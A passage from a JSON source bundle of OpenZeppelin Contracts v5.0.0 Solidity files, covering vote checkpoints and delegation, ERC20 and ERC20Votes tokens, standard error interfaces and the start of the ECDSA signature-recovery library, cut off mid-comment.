a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n *\n * Requirements:\n *\n * - `timepoint` must be in the past. If operating using block numbers, the block must be already mined.\n */\n function getPastVotes(address account, uint256 timepoint) public view virtual returns (uint256) {\n uint48 currentTimepoint = clock();\n if (timepoint >= currentTimepoint) {\n revert ERC5805FutureLookup(timepoint, currentTimepoint);\n }\n return _delegateCheckpoints[account].upperLookupRecent(SafeCast.toUint48(timepoint));\n }\n\n /**\n * @dev Returns the total supply of votes available at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n *\n * NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.\n * Votes that have not been delegated are still part of total supply, even though they would not participate in a\n * vote.\n *\n * Requirements:\n *\n * - `timepoint` must be in the past. If operating using block numbers, the block must be already mined.\n */\n function getPastTotalSupply(uint256 timepoint) public view virtual returns (uint256) {\n uint48 currentTimepoint = clock();\n if (timepoint >= currentTimepoint) {\n revert ERC5805FutureLookup(timepoint, currentTimepoint);\n }\n return _totalCheckpoints.upperLookupRecent(SafeCast.toUint48(timepoint));\n }\n\n /**\n * @dev Returns the current total supply of votes.\n */\n function _getTotalSupply() internal view virtual returns (uint256) {\n return _totalCheckpoints.latest();\n }\n\n /**\n * @dev Returns the delegate that `account` has chosen.\n */\n function delegates(address account) public view virtual returns (address) {\n return _delegatee[account];\n }\n\n /**\n * @dev Delegates votes from the sender to `delegatee`.\n */\n function delegate(address delegatee) public virtual {\n address account = _msgSender();\n _delegate(account, delegatee);\n }\n\n /**\n * @dev Delegates votes from signer to `delegatee`.\n */\n function delegateBySig(\n address delegatee,\n uint256 nonce,\n uint256 expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual {\n if (block.timestamp > expiry) {\n revert VotesExpiredSignature(expiry);\n }\n address signer = ECDSA.recover(\n _hashTypedDataV4(keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry))),\n v,\n r,\n s\n );\n _useCheckedNonce(signer, nonce);\n _delegate(signer, delegatee);\n }\n\n /**\n * @dev Delegate all of `account`'s voting units to `delegatee`.\n *\n * Emits events {IVotes-DelegateChanged} and {IVotes-DelegateVotesChanged}.\n */\n function _delegate(address account, address delegatee) internal virtual {\n address oldDelegate = delegates(account);\n _delegatee[account] = delegatee;\n\n emit DelegateChanged(account, oldDelegate, delegatee);\n _moveDelegateVotes(oldDelegate, delegatee, _getVotingUnits(account));\n }\n\n /**\n * @dev Transfers, mints, or burns voting units. To register a mint, `from` should be zero. To register a burn, `to`\n * should be zero. Total supply of voting units will be adjusted with mints and burns.\n */\n function _transferVotingUnits(address from, address to, uint256 amount) internal virtual {\n if (from == address(0)) {\n _push(_totalCheckpoints, _add, SafeCast.toUint208(amount));\n }\n if (to == address(0)) {\n _push(_totalCheckpoints, _subtract, SafeCast.toUint208(amount));\n }\n _moveDelegateVotes(delegates(from), delegates(to), amount);\n }\n\n /**\n * @dev Moves delegated votes from one delegate to another.\n */\n function _moveDelegateVotes(address from, address to, uint256 amount) private {\n if (from != to && amount > 0) {\n if (from != address(0)) {\n (uint256 oldValue, uint256 newValue) = _push(\n _delegateCheckpoints[from],\n _subtract,\n SafeCast.toUint208(amount)\n );\n emit DelegateVotesChanged(from, oldValue, newValue);\n }\n if (to != address(0)) {\n (uint256 oldValue, uint256 newValue) = _push(\n _delegateCheckpoints[to],\n _add,\n SafeCast.toUint208(amount)\n );\n emit DelegateVotesChanged(to, oldValue, newValue);\n }\n }\n }\n\n /**\n * @dev Get number of checkpoints for `account`.\n */\n function _numCheckpoints(address account) internal view virtual returns (uint32) {\n return SafeCast.toUint32(_delegateCheckpoints[account].length());\n }\n\n /**\n * @dev Get the `pos`-th checkpoint for `account`.\n */\n function _checkpoints(\n address account,\n uint32 pos\n ) internal view virtual returns (Checkpoints.Checkpoint208 memory) {\n return _delegateCheckpoints[account].at(pos);\n }\n\n function _push(\n Checkpoints.Trace208 storage store,\n function(uint208, uint208) view returns (uint208) op,\n uint208 delta\n ) private returns (uint208, uint208) {\n return store.push(clock(), op(store.latest(), delta));\n }\n\n function _add(uint208 a, uint208 b) private pure returns (uint208) {\n return a + b;\n }\n\n function _subtract(uint208 a, uint208 b) private pure returns (uint208) {\n return a - b;\n }\n\n /**\n * @dev Must return the voting units held by an account.\n */\n function _getVotingUnits(address) internal view virtual returns (uint256);\n}\n"
},
"@openzeppelin/contracts/interfaces/draft-IERC6093.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard ERC20 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.\n */\ninterface IERC20Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC20InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC20InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n * @param allowance Amount of tokens a `spender` is allowed to operate with.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC20InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC20InvalidSpender(address spender);\n}\n\n/**\n * @dev Standard ERC721 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.\n */\ninterface IERC721Errors {\n /**\n * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.\n * Used in balance queries.\n * @param owner Address of the current owner of a token.\n */\n error ERC721InvalidOwner(address owner);\n\n /**\n * @dev Indicates a `tokenId` whose `owner` is the zero address.\n * @param tokenId Identifier number of a token.\n */\n error ERC721NonexistentToken(uint256 tokenId);\n\n /**\n * @dev Indicates an error related to the ownership over a particular token. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param tokenId Identifier number of a token.\n * @param owner Address of the current owner of a token.\n */\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC721InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC721InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param tokenId Identifier number of a token.\n */\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC721InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC721InvalidOperator(address operator);\n}\n\n/**\n * @dev Standard ERC1155 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.\n */\ninterface IERC1155Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n * @param tokenId Identifier number of a token.\n */\n error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC1155InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC1155InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param owner Address of the current owner of a token.\n */\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC1155InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC1155InvalidOperator(address operator);\n\n /**\n * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.\n * Used in batch transfers.\n * @param idsLength Length of the array of token identifiers\n * @param valuesLength Length of the array of token amounts\n */\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC5267.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5267.sol)\n\npragma solidity ^0.8.20;\n\ninterface IERC5267 {\n /**\n * @dev MAY be emitted to signal that the domain could have changed.\n */\n event EIP712DomainChanged();\n\n /**\n * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712\n * signature.\n */\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC5805.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5805.sol)\n\npragma solidity ^0.8.20;\n\nimport {IVotes} from \"../governance/utils/IVotes.sol\";\nimport {IERC6372} from \"./IERC6372.sol\";\n\ninterface IERC5805 is IERC6372, IVotes {}\n"
},
"@openzeppelin/contracts/interfaces/IERC6372.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC6372.sol)\n\npragma solidity ^0.8.20;\n\ninterface IERC6372 {\n /**\n * @dev Clock used for flagging checkpoints. Can be overridden to implement timestamp based checkpoints (and voting).\n */\n function clock() external view returns (uint48);\n\n /**\n * @dev Description of the clock\n */\n // solhint-disable-next-line func-name-mixedcase\n function CLOCK_MODE() external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC20} from \"./IERC20.sol\";\nimport {IERC20Metadata} from \"./extensions/IERC20Metadata.sol\";\nimport {Context} from \"../../utils/Context.sol\";\nimport {IERC20Errors} from \"../../interfaces/draft-IERC6093.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * The default value of {decimals} is 18. To change this, you should override\n * this function so it returns a different value.\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n */\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the default value returned by this function, unless\n * it's overridden.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `value`.\n */\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, value);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, value);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `value`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `value`.\n */\n function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, value);\n _transfer(from, to, value);\n return true;\n }\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(from, to, value);\n }\n\n /**\n * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`\n * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding\n * this function.\n *\n * Emits a {Transfer} event.\n */\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n // Overflow check required: The rest of the code assumes that totalSupply never overflows\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n unchecked {\n // Overflow not possible: value <= fromBalance <= totalSupply.\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.\n _totalSupply -= value;\n }\n } else {\n unchecked {\n // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n /**\n * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).\n * Relies on the `_update` mechanism\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(address(0), account, value);\n }\n\n /**\n * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.\n * Relies on the `_update` mechanism.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead\n */\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n _update(account, address(0), value);\n }\n\n /**\n * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n *\n * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.\n */\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n /**\n * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.\n *\n * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by\n * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any\n * `Approval` event during `transferFrom` operations.\n *\n * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to\n * true using the following override:\n * ```\n * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {\n * super._approve(owner, spender, value, true);\n * }\n * ```\n *\n * Requirements are the same as {_approve}.\n */\n function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n _allowances[owner][spender] = value;\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `value`.\n *\n * Does not update the allowance value in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Does not emit an {Approval} event.\n */\n function _spendAllowance(address owner, address spender, uint256 value) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(spender, currentAllowance, value);\n }\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Votes.sol)\n\npragma solidity ^0.8.20;\n\nimport {ERC20} from \"../ERC20.sol\";\nimport {Votes} from \"../../../governance/utils/Votes.sol\";\nimport {Checkpoints} from \"../../../utils/structs/Checkpoints.sol\";\n\n/**\n * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,\n * and supports token supply up to 2^208^ - 1, while COMP is limited to 2^96^ - 1.\n *\n * NOTE: This contract does not provide interface compatibility with Compound's COMP token.\n *\n * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either\n * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting\n * power can be queried through the public accessors {getVotes} and {getPastVotes}.\n *\n * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it\n * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.\n */\nabstract contract ERC20Votes is ERC20, Votes {\n /**\n * @dev Total supply cap has been exceeded, introducing a risk of votes overflowing.\n */\n error ERC20ExceededSafeSupply(uint256 increasedSupply, uint256 cap);\n\n /**\n * @dev Maximum token supply. Defaults to `type(uint208).max` (2^208^ - 1).\n *\n * This maximum is enforced in {_update}. It limits the total supply of the token, which is otherwise a uint256,\n * so that checkpoints can be stored in the Trace208 structure used by {{Votes}}. Increasing this value will not\n * remove the underlying limitation, and will cause {_update} to fail because of a math overflow in\n * {_transferVotingUnits}. An override could be used to further restrict the total supply (to a lower value) if\n * additional logic requires it. When resolving override conflicts on this function, the minimum should be\n * returned.\n */\n function _maxSupply() internal view virtual returns (uint256) {\n return type(uint208).max;\n }\n\n /**\n * @dev Move voting power when tokens are transferred.\n *\n * Emits a {IVotes-DelegateVotesChanged} event.\n */\n function _update(address from, address to, uint256 value) internal virtual override {\n super._update(from, to, value);\n if (from == address(0)) {\n uint256 supply = totalSupply();\n uint256 cap = _maxSupply();\n if (supply > cap) {\n revert ERC20ExceededSafeSupply(supply, cap);\n }\n }\n _transferVotingUnits(from, to, value);\n }\n\n /**\n * @dev Returns the voting units of an `account`.\n *\n * WARNING: Overriding this function may compromise the internal vote accounting.\n * `ERC20Votes` assumes tokens map to voting units 1:1 and this is not easy to change.\n */\n function _getVotingUnits(address account) internal view virtual override returns (uint256) {\n return balanceOf(account);\n }\n\n /**\n * @dev Get number of checkpoints for `account`.\n */\n function numCheckpoints(address account) public view virtual returns (uint32) {\n return _numCheckpoints(account);\n }\n\n /**\n * @dev Get the `pos`-th checkpoint for `account`.\n */\n function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoints.Checkpoint208 memory) {\n return _checkpoints(account, pos);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC20} from \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the value of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the value of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves a `value` amount of tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 value) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets a `value` amount of tokens as the allowance of `spender` over the\n * caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 value) external returns (bool);\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to` using the\n * allowance mechanism. `value` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Context.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/ECDSA.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/ECDSA.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS\n }\n\n /**\n * @dev The signature derives the `address(0)`.\n */\n error ECDSAInvalidSignature();\n\n /**\n * @dev The signature has an invalid length.\n */\n error ECDSAInvalidSignatureLength(uint256 length);\n\n /**\n * @dev The signature has an S value that is in the upper half order.\n */\n error ECDSAInvalidSignatureS(bytes32 s);\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not\n * return address(0) without also returning an error description. Errors are documented using an enum (error type)\n * and a bytes32 providing additional information about the error.\n *\n * If no error is returned, then the address can be used for verification purposes.\n *\n * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.\n *\n * Documentation for signature generation:\n * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n */\n function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) {\n if (signature.length == 65) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n /// @solidity memory-safe-assembly\n assembly {\n r := mload(add(signature, 0x20))\n s := mload(add(signature, 0x40))\n v := byte(0, mload(add(signature, 0x60)))\n }\n return tryRecover(hash, v, r, s);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature`. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.\n */\n function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);\n _throwError(error, errorArg);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n *\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n */\n function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) {\n unchecked {\n bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);\n // We do not check for an overflow here since the shift operation results in 0 or 1.\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n return tryRecover(hash, v, r, s);\n }\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n */\n function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);\n _throwError(error, errorArg);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError, bytes32) {\n // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n //\n // If your library generates malleable signatures, such as s-values in the 